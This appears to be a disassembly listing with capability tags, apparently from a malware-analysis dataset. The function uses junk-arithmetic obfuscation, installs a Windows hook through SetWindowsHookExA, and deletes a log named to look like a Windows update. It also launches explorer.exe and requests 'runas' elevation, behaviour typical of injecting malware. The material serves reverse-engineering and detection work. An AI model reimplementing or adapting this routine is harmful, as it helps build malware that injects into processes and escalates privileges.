Function at 0x40d700
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1074
call fcn.00429a50
mov eax, dword [0x456fc0]
mov dword [esp + 0x1070], eax
mov eax, 0x709ad4e5
imul dword [0x455690]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
push ebx
mov ecx, dword [0x45568c]
push esi
push edi
mov edi, eax
mov eax, 0xc2c05bdf
imul dword [0x45569c]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov edi, dword [0x4556a8]
mov esi, ecx
imul esi, esi, 0x217
mov edx, edi
imul edx, edx, 0x12b
add edx, esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], edx
mov eax, 0xe070381d
imul dword [0x455694]
add edx, dword [0x455694]
mov eax, dword [esp + 0x14]
sar edx, 7
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [esp + 0x18]
add edx, eax
mov eax, dword [ebp + 8]
add ebx, edx
cmp eax, 0x132b600
mov dword [esp + 0x1c], 0
mov dword [esp + 0x10], esi
mov dword [str._r_____r____], ebx
je 0x40d83f
mov eax, 0x709ad4e5
imul edi, edi, 0x246
imul dword [0x45569c]
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455688]
imul edx, edx, 0x1ed
sub edi, ecx
mov ecx, dword [0x455690]
add edi, edx
mov eax, 0x8c55841d
imul ecx
add edx, ecx
mov ecx, dword [0x4556a0]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, ecx
sub edi, 0xb8
mov dword [0x455690], edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x64
nop
push 0x3e8
call edi
dec esi
jne 0x40d820
xor eax, eax
mov ecx, dword [esp + 0x107c]
call fcn.004291fd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x455690]
imul eax, eax, 0x217
mov dword [esp + 0x14], eax
mov eax, 0x709ad4e5
imul dword [0x455694]
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, ecx
imul edx, edx, 0x23c
add esi, edx
mov eax, 0x42776e9b
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x14]
sub esi, eax
mov eax, dword [0x455694]
imul eax, eax, 0xb8
add esi, edx
add eax, esi
mov esi, eax
mov eax, dword [section.Hook_Dat]
test eax, eax
mov dword [0x45569c], esi
je 0x40d90f
mov ecx, dword [0x4556a4]
mov edi, dword [0x4556a0]
mov eax, 0xbd889165
imul edi, edi, 0x217
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x3949660b
imul esi
mov eax, dword [0x455690]
imul eax, eax, 0xb8
sar edx, 7
sub ecx, edi
mov esi, edx
shr esi, 0x1f
add ecx, edx
add esi, ecx
sub esi, eax
mov eax, dword [0x455688]
add esi, ebx
add eax, esi
mov dword [0x455688], eax
mov eax, 1
mov ecx, dword [esp + 0x107c]
call fcn.004291fd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x455698]
imul eax, eax, 0x1ed
mov dword [esp + 0x18], eax
mov eax, 0xc3a13de7
imul esi
add edx, dword [0x45569c]
mov esi, dword [esp + 0x10]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x18]
sub edx, eax
mov eax, ebx
imul eax, eax, 0x92
add edx, esi
add eax, edx
mov edx, dword [0x4556a4]
lea eax, [eax + edx - 0xb8]
mov dword [0x455694], eax
lea ecx, [ecx]
mov eax, 0x8c55841d
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
mov esi, ebx
imul edx, edx, 0x59
imul esi, esi, 0x1d3
sub esi, eax
mov eax, dword [ebp + 0x10]
add esi, edx
test eax, eax
mov dword [0x4556a0], esi
jg 0x40daa2
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x40daa2
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
jmp 0x40d9b0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40d9b0
sub eax, dword [esp + 0x10]
mov dword [esp + 0x10], eax
je 0x40daa2
imul edi, edi, 0x12b
imul esi, esi, 0x217
mov eax, 0xc3a13de7
imul ecx
mov ebx, dword [0x455694]
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 8
sub esi, edi
mov edi, edx
add esi, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
mov ecx, dword [ebp + 0x14]
sar edx, 7
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, esi
add edi, edx
add eax, edi
sub eax, ebx
push ecx
add eax, 0x1d3
push 0
mov dword [0x45568c], eax
call fcn.0040b710
mov esi, eax
add esp, 8
test esi, esi
jle 0x40e342
mov ecx, dword [0x4556a4]
mov ebx, dword [0x45569c]
mov eax, 0x709ad4e5
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0xc2c05bdf
imul ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x455688]
imul ecx, ecx, 0x14f
mov edx, ebx
imul edx, edx, 0x92
add edi, ecx
mov ecx, dword [0x45568c]
add edi, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov dword [0x4556a4], edi
mov edi, dword [0x4556a8]
jmp 0x40daef
mov edi, dword [0x455698]
imul esi, esi, 0x14a
mov eax, 0x3949660b
imul ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xc3a13de7
imul edi
add edx, edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, dword [esp + 0x14]
sub edi, ebx
mov ebx, dword [0x45569c]
sub edi, esi
mov esi, dword [ebp + 0x10]
add edi, eax
mov dword [0x4556a8], edi
mov eax, 0x709ad4e5
imul ecx, ecx, 0x217
imul edi, edi, 0x12b
imul dword [0x455690]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x10], eax
mov eax, 0xc2c05bdf
imul ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, dword [esp + 0x10]
sub ebx, eax
add ebx, ecx
mov ecx, dword [0x455694]
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
add ebx, edi
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
push str.c:windowsKB978978.log
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x4556a4]
mov edi, dword [0x4556a0]
mov eax, 0xbd889165
imul edi, edi, 0x217
imul ecx
mov ecx, dword [0x45569c]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x3949660b
imul ecx
mov eax, dword [0x455688]
sar edx, 7
mov ecx, edx
sub ebx, edi
add ebx, edx
mov edx, dword [0x455690]
imul edx, edx, 0xb8
shr ecx, 0x1f
add ecx, ebx
sub ecx, edx
add ecx, dword [str._r_____r____]
add eax, ecx
mov ecx, dword [ebp + 0xc]
push esi
mov dword [0x455688], eax
mov eax, dword [0x56947c]
push eax
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push ecx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov ecx, dword [0x4556a8]
mov dword [section.Hook_Dat], eax
je 0x40e3c2
mov edi, dword [0x455688]
mov ebx, dword [0x455690]
mov eax, 0x709ad4e5
imul dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, ecx
imul esi, esi, 0x246
mov edx, edi
imul edx, edx, 0x1ed
sub esi, eax
add esi, edx
mov eax, 0x8c55841d
imul ebx
add edx, ebx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
sub esi, eax
sub esi, edx
sub esi, 0xb8
mov dword [0x569480], 1
xor ebx, ebx
jmp 0x40dc60
mov esi, dword [0x455690]
mov ecx, dword [0x4556a8]
mov edi, dword [0x455688]
mov edi, edi
mov eax, 0x709ad4e5
imul ecx, ecx, 0x246
imul edi, edi, 0x1ed
imul dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x8c55841d
imul esi
add edx, esi
sar edx, 8
mov eax, edx
add ecx, edi
mov edi, dword [0x4556a0]
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, edi
sub ecx, 0xb8
push str.c:windowsKB978978.log
mov dword [0x455690], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x40dcd3
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x12c
jl 0x40dc4c
mov esi, dword [0x4556a8]
mov eax, 0x3d3fa421
imul esi
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x455698]
mov eax, 0x6d978b8f
imul ecx
mov ecx, dword [0x4556a0]
sar edx, 7
imul ecx, ecx, 0x14f
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov edx, esi
imul edx, edx, 0xb8
add eax, ecx
mov ecx, dword [0x455694]
sub eax, edx
mov edi, eax
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
cmp ebx, 0x12c
mov dword [0x455698], edi
jl 0x40e433
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x40e433
mov eax, 0x709ad4e5
imul ecx
imul ecx, ecx, 0xb8
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x23c
add esi, eax
mov eax, dword [0x455690]
imul eax, eax, 0x217
add esi, eax
mov eax, 0x42776e9b
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
push 0x800
lea ecx, [esp + 0x7c]
push ecx
mov dword [0x45569c], esi
mov dword [esp + 0x24], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x45568c]
mov eax, 0x8c55841d
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 8
imul ecx, ecx, 0x1d3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
imul edx, edx, 0x59
sub ecx, eax
add ecx, edx
lea eax, [esp + 0x78]
push eax
mov dword [0x4556a0], ecx
lea ecx, [esp + 0x87c]
push str._sexplorer.exe
push ecx
call fcn.0042992a
lea edx, [esp + 0x884]
push 0
push edx
call fcn.0042971d
add esp, 0x14
cmp eax, 0xffffffff
je 0x40e2d5
mov ecx, dword [0x4556a4]
mov eax, 0x709ad4e5
imul ecx
mov ecx, dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xc2c05bdf
imul ecx
imul ecx, ecx, 0x92
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x14f
mov edi, eax
sub edi, esi
add edi, edx
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push str.explorer.exe
mov dword [0x4556a4], edi
call fcn.004054c0
mov ecx, dword [str._r_____r____]
mov esi, dword [0x455690]
mov eax, 0x3949660b
imul esi, esi, 0x217
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455698]
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
sar edx, 8
add esi, edx
mov ecx, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x14a
shr ecx, 0x1f
add ecx, esi
add esp, 4
sub ecx, edx
mov dword [0x4556a8], ecx
mov dword [esp + 0x14], 5
jmp 0x40df05
mov ecx, dword [0x4556a8]
mov eax, 0x709ad4e5
imul ecx, ecx, 0x12b
imul dword [0x455690]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45569c]
mov esi, eax
mov eax, 0xc2c05bdf
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x217
mov edi, eax
sub edi, esi
add edi, edx
add edi, ecx
mov ecx, dword [0x455694]
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
push str.explorer.exe
mov dword [str._r_____r____], eax
call fcn.00404ff0
add esp, 4
test eax, eax
jg 0x40e257
mov ecx, dword [0x4556a4]
mov eax, 0x42776e9b
imul ecx
sar edx, 7
mov ecx, edx
mov ebx, dword [0x455690]
shr ecx, 0x1f
add ecx, edx
mov esi, dword [0x4556a0]
mov eax, 0x3949660b
imul esi, esi, 0x217
imul dword [0x45569c]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov edx, dword [str._r_____r____]
mov ecx, ebx
imul ecx, ecx, 0xb8
sub eax, ecx
mov ecx, dword [0x455688]
sub eax, esi
add eax, edx
add ecx, eax
mov edx, dword [0x45568c]
xor eax, eax
mov dword [0x455688], ecx
mov ecx, 0x11
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4556a8]
mov eax, 0xc3a13de7
imul edx
add edx, dword [0x45568c]
sar edx, 8
mov edi, ecx
imul ecx, ecx, 0x246
mov eax, edx
imul edi, edi, 0x12b
shr eax, 0x1f
add eax, edx
sub eax, edi
mov edi, eax
mov eax, 0xe070381d
imul ebx
add edx, ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x455694]
add eax, edi
sub eax, edx
lea edx, [eax + esi + 0x1d3]
mov dword [0x45568c], edx
mov eax, 0x709ad4e5
imul dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x455688]
imul eax, eax, 0x1ed
add ecx, eax
mov eax, 0x8c55841d
imul ebx
add edx, ebx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
sub ecx, eax
mov dword [esp + 0x20], 0x44
mov dword [esp + 0x4c], 1
mov word [esp + 0x50], 5
sub ecx, edx
sub ecx, 0xb8
mov dword [0x455690], ecx
lea ecx, [esp + 0x68]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x80]
push eax
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [esp + 0x898]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40e13e
mov esi, dword [0x45568c]
mov edi, dword [0x455698]
mov ecx, dword [0x45569c]
imul edi, edi, 0x1ed
mov edx, esi
imul edx, edx, 0x217
add edi, edx
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x92
sub edi, eax
add edi, dword [0x4556a4]
lea eax, [edx + edi - 0xb8]
mov dword [0x455694], eax
jmp 0x40e263
mov ecx, dword [0x4556a8]
mov eax, 0x3d3fa421
imul ecx
imul ecx, ecx, 0xb8
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
mov esi, eax
mov eax, 0x6d978b8f
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x14f
mov edi, eax
sub edi, esi
add edi, edx
sub edi, ecx
mov ecx, dword [0x455694]
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
push 1
mov eax, edx
lea ecx, [esp + 0x7c]
push ecx
shr eax, 0x1f
add eax, edx
push 0
lea edx, [esp + 0x884]
push edx
push str.runas
sub edi, eax
push 0
mov dword [0x455698], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov esi, dword [0x45568c]
jg 0x40e224
mov edi, dword [0x455694]
mov eax, 0x709ad4e5
imul edi
imul edi, edi, 0xb8
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455690]
mov eax, esi
imul edx, edx, 0x217
imul eax, eax, 0x23c
add ecx, eax
add ecx, edx
mov eax, 0x42776e9b
imul esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, edi
mov dword [0x45569c], ecx
jmp 0x40e263
mov eax, 0x8c55841d
imul esi
mov eax, dword [0x455698]
add edx, esi
imul eax, eax, 0x59
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x1d3
sub edx, ecx
add edx, eax
mov dword [0x4556a0], edx
jmp 0x40e25d
mov esi, dword [0x45568c]
mov ecx, dword [0x45569c]
mov eax, 0x709ad4e5
imul dword [0x4556a4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc2c05bdf
imul ecx
imul ecx, ecx, 0x92
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x14f
mov ebx, eax
sub ebx, edi
add ebx, edx
mov eax, 0xe070381d
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, ecx
add eax, edx
sub ebx, eax
push 0x3e8
mov dword [0x4556a4], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x14]
jne 0x40deff
mov ebx, dword [str._r_____r____]
mov esi, dword [0x455698]
mov eax, 0x3949660b
imul ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, dword [0x455690]
mov dword [esp + 0x10], eax
imul ecx, ecx, 0x217
mov eax, 0xc3a13de7
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x14a
mov edi, eax
mov eax, dword [esp + 0x10]
sub edi, eax
sub edi, edx
add edi, ecx
mov dword [esp + 0x14], ecx
mov ecx, dword [0x45568c]
mov dword [0x4556a8], edi
jmp 0x40d960
mov ecx, dword [0x4556a8]
mov eax, 0x3d3fa421
imul ecx
imul ecx, ecx, 0xb8
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
mov esi, eax
mov eax, 0x6d978b8f
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x14f
mov edi, eax
sub edi, esi
add edi, edx
sub edi, ecx
mov ecx, dword [0x455694]
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov dword [0x455698], edi
xor eax, eax
mov ecx, dword [esp + 0x107c]
call fcn.004291fd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [0x4556a0]
imul ecx, ecx, 0x12b
imul esi, esi, 0x217
sub esi, ecx
mov ecx, dword [0x45568c]
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 8
add esi, edx
mov edi, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
shr edi, 0x1f
add edi, esi
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x455694]
add eax, edi
sub eax, edx
add eax, 0x1d3
mov dword [0x45568c], eax
xor eax, eax
mov ecx, dword [esp + 0x107c]
call fcn.004291fd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x455690]
imul esi, esi, 0x12b
mov eax, 0x709ad4e5
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45569c]
mov edi, eax
mov eax, 0xc2c05bdf
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x217
mov ebx, eax
sub ebx, edi
add ebx, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
mov ecx, dword [esp + 0x107c]
sar edx, 7
add ebx, esi
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [str._r_____r____], eax
mov eax, 1
call fcn.004291fd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret